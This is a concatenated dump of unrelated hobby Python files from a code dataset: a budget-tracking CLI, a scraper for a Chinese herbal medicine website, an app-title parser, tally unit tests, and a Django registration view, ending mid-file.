transactionType, transactionAmount, transactionCategory\n\ndef addTransaction(transactionDate, transactionType, transactionAmount, transactionCategory):\n with open(DATA_FILENAME) as file:\n index = sum(1 for row in csv.reader(file))\n\n with open(DATA_FILENAME, 'a') as file:\n writer = csv.DictWriter(file, fieldnames=FIELDNAMES)\n\n writer.writerow({\n FIELDNAMES[0]: index,\n FIELDNAMES[1]: transactionDate,\n FIELDNAMES[2]: transactionType,\n FIELDNAMES[3]: transactionAmount,\n FIELDNAMES[4]: transactionCategory\n })\n\ndef calculateOverallStats(startDate, endDate):\n with open(DATA_FILENAME) as file:\n reader = csv.DictReader(file)\n relevantRows = []\n balance = 0\n expenditure = 0\n expenditureCount = 0\n income = 0\n incomeCount = 0\n categoryTransactionCount = {}\n categoryTransactionAmount = {}\n\n for row in reader:\n if Date(row[FIELDNAMES[1]]).compare(Date(startDate)) >= 0 and Date(row[FIELDNAMES[1]]).compare(Date(endDate)) <= 0:\n relevantRows.append(row)\n\n for row in relevantRows:\n if row[FIELDNAMES[2]] == \"+\":\n balance += float(row[FIELDNAMES[3]])\n income += float(row[FIELDNAMES[3]])\n incomeCount += 1\n elif row[FIELDNAMES[2]] == \"-\":\n balance -= float(row[FIELDNAMES[3]])\n expenditure += float(row[FIELDNAMES[3]])\n expenditureCount += 1\n\n if row[FIELDNAMES[4]].upper() in categoryTransactionCount:\n categoryTransactionCount[row[FIELDNAMES[4]].upper()] += 1\n categoryTransactionAmount[row[FIELDNAMES[4]].upper()] += float(row[FIELDNAMES[3]])\n else:\n categoryTransactionCount[row[FIELDNAMES[4]].upper()] = 1\n categoryTransactionAmount[row[FIELDNAMES[4]].upper()] = float(row[FIELDNAMES[3]])\n\n return balance, expenditure, expenditureCount, income, incomeCount, categoryTransactionCount, categoryTransactionAmount\n\n# TODO: Finish this\n\n# def calculatePayrollStats():\n# with open(DATA_FILENAME) as file:\n# reader = csv.DictReader(file)\n\n# for row in reversed(reader):\n# if row[FIELDNAMES[4]] == \"PAYROLL\":\n\n\n\n \n\ndef displayFooter(startDate, endDate):\n balance, expenditure, expenditureCount, income, incomeCount, categoryTransactionCount, categoryTransactionAmount = calculateOverallStats(startDate, endDate)\n \n # Sort categoryTransactionAmount in increasing order of total amount\n sortedCategoryTransactionAmount = {k: v for k, v in sorted(categoryTransactionAmount.items(), key=lambda item: item[1])}\n tab = '\\t'\n\n sign = \"\"\n if balance < 0:\n sign = \"-\"\n\n print(\"\\n\" + 10*tab + \"\\b\\bBalance: {}${:.2f}\\n\\n\".format(sign, round(abs(balance), 2)))\n\n print(2*tab + \"Balance Breakdown\" + 9*tab + \"Top Three Categories\")\n\n print(2*tab + \"Expenditure : {} transactions totaling ${:.2f}\".format(expenditureCount, round(abs(expenditure), 2)) \n + 5*tab + list(sortedCategoryTransactionAmount)[-1] \n + \"\\t\\t: {} transactions totaling ${:.2f}\".format(categoryTransactionCount[list(sortedCategoryTransactionAmount)[-1]], round(categoryTransactionAmount[list(sortedCategoryTransactionAmount)[-1]], 2)))\n\n print(2*tab + \"Income : {} paychecks totaling ${:.2f}\".format(incomeCount, round(abs(income), 2)) + 6*tab \n + list(sortedCategoryTransactionAmount)[-2] \n + \"\\t: {} transactions totaling ${:.2f}\".format(categoryTransactionCount[list(sortedCategoryTransactionAmount)[-2]], round(categoryTransactionAmount[list(sortedCategoryTransactionAmount)[-2]], 2)))\n\n print(2*tab + \"Saved : {:.2f}%\".format((1 - (round(abs(expenditure), 2) / round(abs(income), 2))) * 100) + 9*tab\n + list(sortedCategoryTransactionAmount)[-3]\n + \"\\t\\t: {} transactions totaling ${:.2f}\".format(categoryTransactionCount[list(sortedCategoryTransactionAmount)[-3]], round(categoryTransactionAmount[list(sortedCategoryTransactionAmount)[-3]], 2)))\n\n print(2*tab + \"Avg per day : ${:.2f}\".format(expenditure / Date(startDate).diffDays(Date(endDate))))\n\n print(2*tab + \"Max per day : ${:.2f}\".format(income / Date(startDate).diffDays(Date(endDate))))\n\n\n# TODO: Add balance for date range\ndef display(startDate, endDate, displayAll=False):\n with open(DATA_FILENAME) as file:\n reader = csv.DictReader(file)\n rowsToPrint = []\n tab = '\\t'\n\n for row in reader:\n if Date(row[FIELDNAMES[1]]).compare(Date(startDate)) >= 0 and Date(row[FIELDNAMES[1]]).compare(Date(endDate)) <= 0:\n rowsToPrint.append(row)\n\n if len(rowsToPrint) == 0:\n if displayAll:\n print(\"No transactions logged yet.\")\n else:\n print(\"No transactions found for this range.\")\n else:\n print(\"\\n\\nIndex\" + 4*tab + \"Date\" + 5*tab + \"Type\" + 5*tab + \"Amount\" + 5*tab + \"Category\\n\")\n\n for row in rowsToPrint:\n print(\"{}\".format(row[FIELDNAMES[0]]) + 4*tab + \"{}\".format(row[FIELDNAMES[1]]) + 4*tab + \"{}\".format(row[FIELDNAMES[2]]) + 5*tab + \"${}\".format(row[FIELDNAMES[3]]) + 5*tab + \"{}\".format(row[FIELDNAMES[4]]))\n\n displayFooter(startDate, endDate)\n\ndef getStartAndEndDates():\n startDate = input(\"Enter start date (MM/DD/YY): \")\n endDate = input(\"Enter end date (MM/DD/YY): \")\n\n return startDate, endDate\n\n\ndef printNotesHelp():\n os.system(\"clear\")\n print(\"Help\\n\")\n print(\"\\t-d <index>\\t: Delete note at index\")\n print(\"\\t-e\\t\\t: Exit to menu\")\n print(\"\\t-h\\t\\t: Print this help page\\n\")\n\ndef deleteNote(idx):\n with open(NOTES_FILENAME) as file:\n lines = file.readlines()\n\n with open(NOTES_FILENAME, 'w') as file:\n for count, line in enumerate(lines):\n if count != idx:\n file.write(line)\n\ndef readNotes(keepOnScreen=False):\n if not keepOnScreen:\n os.system('clear')\n\n flag = False\n\n with open(NOTES_FILENAME) as file:\n for count, line in enumerate(file):\n print(str(count) + \". \" + line)\n flag = True\n\n if not flag:\n print(\"No notes yet.\")\n\ndef writeNotes():\n note = \"\"\n command = \"\"\n\n while True:\n if command == \"h\":\n readNotes(keepOnScreen=True)\n command = \"\"\n else:\n readNotes()\n\n note = input(\"\\nType -h for help.\\n-> \")\n\n if note[0] == \"-\":\n command = note.split(\" \")[0].split(\"-\")[1]\n if command == \"e\":\n break\n elif command == \"h\":\n printNotesHelp()\n elif command == \"d\":\n try:\n deleteNote(int(note.split(\" \")[1]))\n except:\n print(\"Usage: -d <index>\")\n else:\n with open(NOTES_FILENAME, 'a') as file:\n file.write(note + \"\\n\")\n\ndef mostSpendingBreakdown():\n balance, expenditure, expenditureCount, income, incomeCount, categoryTransactionCount, categoryTransactionAmount = calculateOverallStats(\"00/00/00\", \"12/31/99\")\n \n # Sort categoryTransactionAmount in increasing order of total amount\n sortedCategoryTransactionAmount = {k: v for k, v in sorted(categoryTransactionAmount.items(), key=lambda item: -item[1])}\n tab = '\\t'\n\n for idx, val in enumerate(reversed(list(sortedCategoryTransactionAmount))):\n print(\"{:<30}: {} transactions totaling ${:>7.2f}\".format(list(sortedCategoryTransactionAmount)[idx],categoryTransactionCount[list(sortedCategoryTransactionAmount)[idx]], round(categoryTransactionAmount[list(sortedCategoryTransactionAmount)[idx]], 2)))\n\n# TODO: Set up mode - initial balance, think of more\n# TODO: Presets - payroll, subscriptions\n# TODO: Subscriptions tab and stats\n# TODO: Add upcoming dates to display (payroll, Spotify)\n\n# TODO: Watch JS playlist and implement visual graphs\n# Spending by category\n\n# TODO: Paycheck usage breakdown: % of latest paycheck spent so far, paycheck spending trends\n\nif __name__ == \"__main__\":\n\n # If the data file does not exist, create it\n if not os.path.isfile(DATA_FILENAME):\n print(\"Data file does not exist, creating now\")\n dataInit()\n\n # Main event loop\n inputChoice = -1\n os.system('clear')\n while (inputChoice != 5):\n inputChoice = menu()\n \n if (inputChoice == 1):\n transactionDate, transactionType, transactionAmount, transactionCategory = getAddTransactionInput()\n addTransaction(transactionDate, transactionType, transactionAmount, transactionCategory)\n elif (inputChoice == 2):\n display(\"01/01/00\", \"12/31/99\", True)\n elif (inputChoice == 3):\n startDate, endDate = getStartAndEndDates()\n display(startDate, endDate)\n elif (inputChoice == 4):\n writeNotes()\n elif (inputChoice == 5):\n mostSpendingBreakdown()\n elif (inputChoice == 6):\n print(\"Exiting\")\n break\n else:\n print(\"Invalid input\")","repo_name":"VarnitS2/Budget-CLI","sub_path":"Worker.py","file_name":"Worker.py","file_ext":"py","file_size_in_byte":10359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7275340558","text":"# -*- coding: utf-8 -*-\nimport requests\nfrom bs4 import BeautifulSoup\nimport ssl\nimport json\nfrom xlwt import *\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\nrequests = requests.Session()\nssl._create_default_https_context = ssl._create_unverified_context\n\nhost = \"http://www.zysj.com.cn\"\n\n\ndef get_list():\n url = host + \"/zhongyaocai/index.html\"\n response = requests.get(url)\n bs = BeautifulSoup(response.text, 'html5lib')\n qiye_list = bs.select(\".py a\")\n arr = []\n for i in qiye_list:\n address = i.get(\"href\")\n arr.append(host + address)\n return arr\n\n\ndef get_content(url):\n details = []\n response = requests.get(url)\n bs = BeautifulSoup(response.text, 'html5lib')\n for i in bs.select(\"#tab-content li a\"):\n details.append(host + i.get(\"href\"))\n return details\n\n\ndef get_arr_join(i, num):\n num = num or 0\n obj = {}\n obj[\"name\"] = i.select(\"h1\")[0].text.strip() # 药物名称\n\n if i.select(\".py\") and len(i.select(\".py\")) > num:\n obj[\"py\"] = i.select(\".py\")[num].text.strip() # 拼音\n else:\n obj[\"py\"] = \"\"\n\n if i.select(\".ywm\") and len(i.select(\".ywm\")) > num:\n obj[\"ywm\"] = i.select(\".ywm\")[num].text.strip() # 英文名\n else:\n obj[\"ywm\"] = \"\"\n\n if i.select(\".bm\") and len(i.select(\".bm\")) > num:\n obj[\"bm\"] = i.select(\".bm\")[num].text.strip() # 别名\n else:\n obj[\"bm\"] = \"\"\n\n if i.select(\".cc\") and len(i.select(\".cc\")) > num:\n obj[\"cc\"] = i.select(\".cc\")[num].text.strip() # 出处\n else:\n obj[\"cc\"] = \"\"\n\n if i.select(\".ly\") and len(i.select(\".ly\")) > num:\n obj[\"ly\"] = i.select(\".ly\")[num].text.strip() # 来源\n else:\n obj[\"ly\"] = \"\"\n\n if i.select(\".yxt\") and len(i.select(\".yxt\")) > num:\n obj[\"yxt\"] = i.select(\".yxt\")[num].text.strip() # 原形态\n else:\n obj[\"yxt\"] = \"\"\n\n if i.select(\".sjfb\") and len(i.select(\".sjfb\")) > num:\n obj[\"sjfb\"] = i.select(\".sjfb\")[num].text.strip() # 生境分部\n else:\n obj[\"sjfb\"] = \"\"\n\n if i.select(\".gj\") and len(i.select(\".gj\")) > num:\n obj[\"gj\"] = i.select(\".gj\")[num].text.strip() # 归经\n else:\n obj[\"gj\"] = \"\"\n\n if i.select(\".xw\") and len(i.select(\".xw\")) > num:\n obj[\"xw\"] = i.select(\".xw\")[num].text.strip() # 性味\n else:\n obj[\"xw\"] = \"\"\n\n if i.select(\".gnzz\") and len(i.select(\".gnzz\")) > num:\n obj[\"gnzz\"] = i.select(\".gnzz\")[num].text.strip() # 功能主治\n else:\n obj[\"gnzz\"] = \"\"\n\n if i.select(\".yfyl\") and len(i.select(\".yfyl\")) > num:\n obj[\"yfyl\"] = i.select(\".yfyl\")[num].text.strip() # 用法用量\n else:\n obj[\"yfyl\"] = \"\"\n\n if i.select(\".hxcf\") and len(i.select(\".hxcf\")) > num:\n obj[\"hxcf\"] = i.select(\".hxcf\")[num].text.strip() # 化学成分\n else:\n obj[\"hxcf\"] = \"\"\n\n if i.select(\".ylzy\") and len(i.select(\".ylzy\")) > num:\n obj[\"ylzy\"] = i.select(\".ylzy\")[num].text.strip() # 药理作用\n else:\n obj[\"ylzy\"] = \"\"\n\n if i.select(\".ff\") and len(i.select(\".ff\")) > num:\n obj[\"ff\"] = i.select(\".ff\")[num].text.strip() # 复方\n else:\n obj[\"ff\"] = \"\"\n\n if i.select(\".jb\") and len(i.select(\".jb\")) > num:\n obj[\"jb\"] = i.select(\".jb\")[num].text.strip() # 鉴别\n else:\n obj[\"jb\"] = \"\"\n\n if i.select(\".bz\") and len(i.select(\".bz\")) > num:\n obj[\"bz\"] = i.select(\".bz\")[num].text.strip() # 备注\n else:\n obj[\"bz\"] = \"\"\n\n if i.select(\".zl\") and len(i.select(\".zl\")) > num:\n obj[\"zl\"] = i.select(\".zl\")[num].text.strip() # 摘录\n else:\n obj[\"zl\"] = \"\"\n\n if i.select(\".gjls\") and len(i.select(\".gjls\")) > num:\n obj[\"gjls\"] = i.select(\".gjls\")[num].text.strip() # 各家论述\n else:\n obj[\"gjls\"] = \"\"\n\n if i.select(\".lcyy\") and len(i.select(\".lcyy\")) > num:\n obj[\"lcyy\"] = i.select(\".lcyy\")[num].text.strip() # 临床应用\n else:\n obj[\"lcyy\"] = \"\"\n return obj\n\n\ndef get_detail(url):\n response = requests.get(url)\n bs = BeautifulSoup(response.text, 'html5lib')\n h2_list = bs.select(\"#content h2\")\n if len(h2_list) == 0:\n data = get_arr_join(bs.select(\"#content\")[0], 0)\n save_file(data)\n else:\n for i in xrange(0, len(h2_list), 1):\n data = get_arr_join(bs.select(\"#content\")[0], i)\n save_file(data)\n\ndef save_file(data):\n f = open('test4.txt', 'a')\n data = json.dumps(data)\n f.writelines(data + \"\\n\")\n f.close()\n\n\ndef file_write(Data):\n file = Workbook(encoding='utf-8')\n # 指定file以utf-8的格式打开\n table = file.add_sheet('药材')\n data = {}\n # 指定打开的文件名\n for i in xrange(0, len(Data), 1):\n data[i+1] = Data[i]\n # 字典数据\n ldata = []\n num = [a for a in data]\n # for循环指定取出key值存入num中\n num.sort()\n # 字典数据取出后无需,需要先排序\n for x in num:\n # for循环将data字典中的键和值分批的保存在ldata中\n t = [x]\n for a in data[x]:\n t.append(a)\n ldata.append(t)\n for i, p in enumerate(ldata):\n # 将数据写入文件,i是enumerate()函数返回的序号数\n for j, q in enumerate(p):\n table.write(i, j, q)\n file.save('yaocai2.xls')\n\ndef read_file():\n filename = 'test4.txt' # txt文件和当前脚本在同一目录下,所以不用写具体路径\n try:\n f = open(filename, 'r')\n Array = []\n for i in f.readlines():\n json_file = json.loads(i)\n arr = []\n arr.append(json_file[\"name\"])\n arr.append(json_file[\"py\"])\n arr.append(json_file[\"ywm\"])\n arr.append(json_file[\"bm\"])\n arr.append(json_file[\"cc\"])\n arr.append(json_file[\"ly\"])\n arr.append(json_file[\"yxt\"])\n arr.append(json_file[\"sjfb\"])\n arr.append(json_file[\"gj\"])\n arr.append(json_file[\"xw\"])\n arr.append(json_file[\"gnzz\"])\n arr.append(json_file[\"yfyl\"])\n arr.append(json_file[\"hxcf\"])\n arr.append(json_file[\"ylzy\"])\n arr.append(json_file[\"ff\"])\n arr.append(json_file[\"bz\"])\n arr.append(json_file[\"gjls\"])\n arr.append(json_file[\"lcyy\"])\n Array.append(arr)\n return Array\n finally:\n if f:\n f.close()\n\nif __name__ == '__main__':\n # for i in get_list():\n # for j in get_content(i):\n # get_detail(j)\n # url = \"http://www.zysj.com.cn/zhongyaocai/yaocai_z/zhungaeryuanwei.html\"\n # url = \"http://www.zysj.com.cn/zhongyaocai/yaocai_z/zuiyucao.html\"\n # get_detail(url)\n data = read_file()\n file_write(data)\n\n","repo_name":"andyrenpanlong/yiyao","sub_path":"yiyao.py","file_name":"yiyao.py","file_ext":"py","file_size_in_byte":6778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14655732216","text":"# -*- coding : utf-8 -*-\r\n# input comes as list of dictionaries\r\n\r\nimport json\r\nfrom collections import OrderedDict\r\nfrom nltk.tag import pos_tag\r\nfrom nltk.corpus import words\r\nimport functools\r\nimport re\r\nimport os\r\n\r\ndef read_json_file(filename):\r\n data = None\r\n with open(filename, encoding=\"utf-8\") as data_file:\r\n data = json.load(data_file, object_pairs_hook=OrderedDict)\r\n return data\r\n\r\n\r\ndef isal(strin):\r\n if len(strin)==0: return False\r\n al = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\r\n strin = list(strin)\r\n strin[0] = strin[0] in al\r\n return functools.reduce(lambda x,y: x and (y in al),strin)\r\n\r\nstereotype = ['','LINE', '(LITE)','LITE','(Lite)','(FREE)','(Free)','FREE','3D', 'HD','(Classic)','2D', 'VHD', 'PRO', 'AR', 'A', 'THE', 'OF', 'BY', 'ON', 'AN', 'AND', 'FOR', 'KAKAO']\r\n#Pro? (iGun Pro)\r\nstereotype_2 = ['FOR KAKAO']\r\ndict_statistics = {}\r\ncnt_statistics = {}\r\n\r\nfilename = \"./arcade.json\"\r\n\r\ndef select_section(filepath, section_str):\r\n testfile_list = []\r\n for subdir, dirs, files in os.walk('./'+filepath):\r\n for file in files:\r\n if str(file[:min(len(section_str),len(file))]) == section_str:\r\n testfile_list.append('./'+filepath+'/'+str(file))\r\n return testfile_list\r\n\r\ndef short_desc_parser(str_desc):\r\n only_alphabet = re.sub('[^a-zA-Z]+', ' ', str_desc).split()\r\n stereotype_desc = ['A', 'AN', \"THE\", 'OR', 'BUT','SO', 'AND', 'FROM', 'TO',\r\n 'YOUR', 'IN', 'ON', 'THIS', 'THAT', 'IT', 'HIS', 'HER', 'IS', 'FOR', 'AT', 'OF','ITS','THEIR', 'THEM', 'BY']\r\n only_alphabet = [item for item in only_alphabet if item.upper() not in stereotype_desc]\r\n return only_alphabet\r\n\r\n#input : filepath, adversal stereotypes, adversal stereotypes_2 for stereotypes consist of 2 words.\r\n#output : list of strings, that indicates the parsed title of app\r\n\r\ndef clear_parser(filepath_list, maxlen = 2, stereotype = None ,stereotype_2 = None):\r\n #settings for stereotypes\r\n stereotype = list(map(lambda x: x.upper(),stereotype))\r\n stereotype_2 = list(map(lambda x: x.upper(), stereotype_2))\r\n\r\n #the result list\r\n list_title = []\r\n for filepath in filepath_list:\r\n for sets in read_json_file(filepath):\r\n title_list = re.findall(r\"[\\w']+\", sets['title'])\r\n #title names are separated in list\r\n\r\n # print (title_list)\r\n # title_list = list(map(lambda x: x.strip().encode(\"utf-8\"),title_list))\r\n parsing = []\r\n item_num=0\r\n for item in title_list:\r\n if item.upper() in stereotype:\r\n continue\r\n elif isal(item[:-1]) and len(item)>1:\r\n item_num +=1\r\n if item_num == maxlen + 1:\r\n break\r\n parsing.append(item if isal(item[-1]) else item[:-1])\r\n if item_num < maxlen+1:\r\n if len(parsing)!=0:\r\n #parsing.append('|||||')\r\n #parsing.append(sets['title'])\r\n list_title.append(' '.join(parsing))\r\n\r\n return list_title\r\n\r\ndef clear_parser_2(filepath_list):\r\n list_desc = []\r\n list_s_desc = []\r\n for filepath in filepath_list:\r\n for sets in read_json_file(filepath):\r\n try: list_desc += re.findall(r\"\\w+\", sets['description'])\r\n except: pass\r\n try: list_s_desc += re.findall(r\"\\w+\", sets['short_desc'])\r\n except: pass\r\n\r\n list_desc = [x for x in list_desc if isal(x)]\r\n list_s_desc = [x for x in list_s_desc if isal(x)]\r\n\r\n list_desc = list(set(list_desc))\r\n list_desc.sort()\r\n list_s_desc = list(set(list_s_desc))\r\n list_s_desc.sort()\r\n\r\n return list_desc, list_s_desc\r\n\r\n#for test\r\n#l_title = clear_parser(testfile_list,stereotype,stereotype_2)\r\n\r\ndef sectiondata_save_json(section, stereotype, stereotype_2):\r\n testfile_list = select_section('database/'+section, section)\r\n title = clear_parser(testfile_list,2,stereotype,stereotype_2)\r\n desc, short_desc = clear_parser_2(testfile_list)\r\n\r\n with open('database/'+section+'/title.json', 'w') as f: json.dump(title, f)\r\n with open('database/'+section+'/description.json', 'w') as f: json.dump(desc, f)\r\n with open('database/'+section+'/short_description.json', 'w') as f: json.dump(short_desc, f)\r\n\r\n#for test\r\nif __name__=='__main__':\r\n datafiles_dir='database'\r\n sectiondata_save_json('GAME_ARCADE', datafiles_dir, stereotype, stereotype_2)\r\n","repo_name":"hyun78/Eureka","sub_path":"Eureka_web/app/title_clear_v2.py","file_name":"title_clear_v2.py","file_ext":"py","file_size_in_byte":4531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41477862103","text":"import unittest\nfrom agora_results.utils import file_helpers\nimport test.desborda_test\nimport os\nimport sys\nimport subprocess\nimport copy\nimport time\nimport random\n\ntally_config = [\n [\n \"agora_results.pipes.results.do_tallies\",\n {\n \"ignore_invalid_votes\": True\n }\n ],\n [\n \"agora_results.pipes.desborda.podemos_desborda\",\n {\n \"women_names\": [\n ]\n }\n ]\n]\n\nclass TestDesBorda(unittest.TestCase):\n\n def do_test(self, test_data=None):\n if test_data is None:\n return\n print(\"\\nTest name: %s\" % test_data[\"name\"])\n agora_results_bin_path = \"python3 agora-results\"\n tally_path = test.desborda_test.create_desborda_test(test_data)\n try:\n tally_targz_path = os.path.join(tally_path, \"tally.tar.gz\")\n config_results_path = os.path.join(tally_path, \"12345.config.results.json\")\n results_path = os.path.join(tally_path, \"12345.results.json\")\n cmd = \"%s -t %s -c %s -s -o json\" % (\n agora_results_bin_path,\n tally_targz_path,\n config_results_path)\n with open(results_path, mode='w', encoding=\"utf-8\", errors='strict') as f:\n print(cmd)\n subprocess.check_call(cmd, stdout=f, stderr=sys.stderr, shell=True)\n results = test.desborda_test.create_simple_results(results_path)\n file_helpers.write_file(os.path.join(tally_path, \"output\"), results)\n shouldresults = test_data[\"output\"]\n check_results = test.desborda_test.check_results(results, shouldresults)\n self.assertTrue(check_results)\n except:\n # remove the temp test folder if there's an error\n file_helpers.remove_tree(tally_path)\n raise\n # remove the temp test folder also in a successful test\n file_helpers.remove_tree(tally_path)\n\n def test_all(self):\n desborda_tests_path = os.path.join(\"test\", \"desborda_tests\")\n test_files = [ os.path.join(desborda_tests_path, f) for f in os.listdir(desborda_tests_path) if os.path.isfile(os.path.join(desborda_tests_path, f)) ]\n for testfile_path in test_files:\n data = test.desborda_test.read_testfile(testfile_path)\n data[\"config\"] = copy.deepcopy(tally_config)\n self.do_test(test_data=data)\n\n def test_100k_votes_same(self):\n start_time = time.time()\n vote_a = \"A1f,A2m,A3f,A4m,A5f,A6m,A7f,A8m,A9f,A10m,A11f,A12m,A13f,A14m,A15f,A16m,A17f,A18m,A19f,A20m,A21f,A22m,A23f,A24m,A25f,A26m,A27f,A28m,A29f,A30m,A31f,A32m,A33f,A34m,A35f,A36m,A37f,A38m,A39f,A40m,A41f,A42m,A43f,A44m,A45f,A46m,A47f,A48m,A49f,A50m,A51f,A52m,A53f,A54m,A55f,A56m,A57f,A58m,A59f,A60m,A61f,A62m\\n\"\n vote_b = \"B1f,B2m,B3f,B4m,B5f,B6m,B7f,B8m,B9f,B10m,B11f,B12m,B13f,B14m,B15f,B16m,B17f,B18m,B19f,B20m,B21f,B22m,B23f,B24m,B25f,B26m,B27f,B28m,B29f,B30m,B31f,B32m,B33f,B34m,B35f,B36m,B37f,B38m,B39f,B40m,B41f,B42m,B43f,B44m,B45f,B46m,B47f,B48m,B49f,B50m,B51f,B52m,B53f,B54m,B55f,B56m,B57f,B58m,B59f,B60m,B61f,B62m\\n\"\n list_a = [\"A1f\",\"A2m\",\"A3f\",\"A4m\",\"A5f\",\"A6m\",\"A7f\",\"A8m\",\"A9f\",\"A10m\",\"A11f\",\"A12m\",\"A13f\",\"A14m\",\"A15f\",\"A16m\",\"A17f\",\"A18m\",\"A19f\",\"A20m\",\"A21f\",\"A22m\",\"A23f\",\"A24m\",\"A25f\",\"A26m\",\"A27f\",\"A28m\",\"A29f\",\"A30m\",\"A31f\",\"A32m\",\"A33f\",\"A34m\",\"A35f\",\"A36m\",\"A37f\",\"A38m\",\"A39f\",\"A40m\",\"A41f\",\"A42m\",\"A43f\",\"A44m\",\"A45f\",\"A46m\",\"A47f\",\"A48m\",\"A49f\",\"A50m\",\"A51f\",\"A52m\",\"A53f\",\"A54m\",\"A55f\",\"A56m\",\"A57f\",\"A58m\",\"A59f\",\"A60m\"]\n print(\"creating 100k votes\")\n total_votes = int(1e5)\n num_votes_a = int(total_votes * 0.95)\n num_votes_b = total_votes - num_votes_a\n ballots = vote_a * num_votes_a + vote_b * num_votes_b\n # create results\n results = \"B1f, %i\\nB2m, %i\\n\" % (80 * num_votes_b, 79 * num_votes_b)\n for index, el in enumerate(list_a):\n results += \"%s, %i\\n\" % (el, ((80 - index) * num_votes_a) )\n data = {\n \"input\": ballots,\n \"output\": results,\n \"config\": copy.deepcopy(tally_config),\n \"name\": \"test 100k votes. 95% to A, 5% to B. All ballots for each team are the same\"\n }\n # do tally\n self.do_test(test_data=data)\n end_time = time.time()\n print(\"test_100k_votes_same elapsed time: %f secs\" % (end_time - start_time))\n\n def test_100k_votes_rand(self):\n start_time = time.time()\n vote_a = \"A1f,A2m,A3f,A4m,A5f,A6m,A7f,A8m,A9f,A10m,A11f,A12m,A13f,A14m,A15f,A16m,A17f,A18m,A19f,A20m,A21f,A22m,A23f,A24m,A25f,A26m,A27f,A28m,A29f,A30m,A31f,A32m,A33f,A34m,A35f,A36m,A37f,A38m,A39f,A40m,A41f,A42m,A43f,A44m,A45f,A46m,A47f,A48m,A49f,A50m,A51f,A52m,A53f,A54m,A55f,A56m,A57f,A58m,A59f,A60m,A61f,A62m\\n\"\n vote_b = \"B1f,B2m,B3f,B4m,B5f,B6m,B7f,B8m,B9f,B10m,B11f,B12m,B13f,B14m,B15f,B16m,B17f,B18m,B19f,B20m,B21f,B22m,B23f,B24m,B25f,B26m,B27f,B28m,B29f,B30m,B31f,B32m,B33f,B34m,B35f,B36m,B37f,B38m,B39f,B40m,B41f,B42m,B43f,B44m,B45f,B46m,B47f,B48m,B49f,B50m,B51f,B52m,B53f,B54m,B55f,B56m,B57f,B58m,B59f,B60m,B61f,B62m\\n\"\n list_a = [\"A1f\",\"A2m\",\"A3f\",\"A4m\",\"A5f\",\"A6m\",\"A7f\",\"A8m\",\"A9f\",\"A10m\",\"A11f\",\"A12m\",\"A13f\",\"A14m\",\"A15f\",\"A16m\",\"A17f\",\"A18m\",\"A19f\",\"A20m\",\"A21f\",\"A22m\",\"A23f\",\"A24m\",\"A25f\",\"A26m\",\"A27f\",\"A28m\",\"A29f\",\"A30m\",\"A31f\",\"A32m\",\"A33f\",\"A34m\",\"A35f\",\"A36m\",\"A37f\",\"A38m\",\"A39f\",\"A40m\",\"A41f\",\"A42m\",\"A43f\",\"A44m\",\"A45f\",\"A46m\",\"A47f\",\"A48m\",\"A49f\",\"A50m\",\"A51f\",\"A52m\",\"A53f\",\"A54m\",\"A55f\",\"A56m\",\"A57f\",\"A58m\",\"A59f\",\"A60m\",\"A61f\",\"A62m\"]\n list_a_counts = [0] * len(list_a)\n print(\"creating 100k votes\")\n total_votes = int(1e5)\n num_votes_a = int(total_votes * 0.95)\n num_votes_b = total_votes - num_votes_a\n ballots = vote_b * num_votes_b\n bnum = 0\n base_vote = [a for a in range(62)]\n while bnum < num_votes_a:\n vote = copy.deepcopy(base_vote)\n random.shuffle(vote)\n line = \"\"\n for index, el in enumerate(vote):\n line += \"%s,\" % list_a[el]\n list_a_counts[el] += (80 - index)\n ballots += line[:-1] + \"\\n\"\n bnum += 1\n # create results\n results = \"B1f, %i\\nB2m, %i\\n\" % (80 * num_votes_b, 79 * num_votes_b)\n results_list_a = [(list_a[i], list_a_counts[i]) for i in base_vote]\n results_list_a_sorted = sorted(\n results_list_a,\n key = lambda x: x[1],\n reverse = True)\n winners_list_a = results_list_a_sorted[:-2]\n for el, votes in winners_list_a:\n results += \"%s, %i\\n\" % (el, votes )\n data = {\n \"input\": ballots,\n \"output\": results,\n \"config\": copy.deepcopy(tally_config),\n \"name\": \"test 100k votes. 95% to A, 5% to B. All ballots for each team are the same\"\n }\n end_time = time.time()\n print(\"test_100k_votes_rand create ballots elapsed time: %f secs\" % (end_time - start_time))\n start_time = time.time()\n self.do_test(test_data=data)\n end_time = time.time()\n print(\"test_100k_votes_rand tally elapsed time: %f secs\" % (end_time - start_time))\n # do tally\n self.assertTrue(True)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"piratas-cl/agora-results","sub_path":"test/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":7301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"6139380456","text":"from django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect\nfrom users.forms import UserRegisterForm, UserUpdateForm, ProfileImageForm\n\n\ndef register(request):\n if request.method == 'POST':\n form = UserRegisterForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n messages.success(request, f'{username} Успешно зарегистрирован')\n return redirect('user')\n else:\n form = UserRegisterForm\n return render(request, 'users/registration.html', {'form': form})\n\n\n\n\n@login_required\ndef profile(request):\n if request.method == \"POST\":\n profileForm = ProfileImageForm(request.POST,request.FILES, instance=request.user.profile)\n updateUserForm = UserUpdateForm(request.POST,instance=request.user)\n\n if profileForm.is_valid() and updateUserForm.is_valid():\n profileForm.save()\n updateUserForm.save()\n\n messages.success(request, f'Успешно обновлено')\n return redirect('profile')\n\n else:\n profileForm = ProfileImageForm(instance=request.user.profile)\n updateUserForm = UserUpdateForm(instance=request.user)\n data = {\n 'profileForm': profileForm,\n 'updateUserForm': updateUserForm\n }\n\n return render(request, 'users/profile.html', data)","repo_name":"Dmitrii-ru/Currency-Converter","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13974885216","text":"import text_fields as txt\n\nphone_book = [{'name': 'Тихонов Константин Павлович',\n 'phone': '+7 (922) ''603-57-84',\n 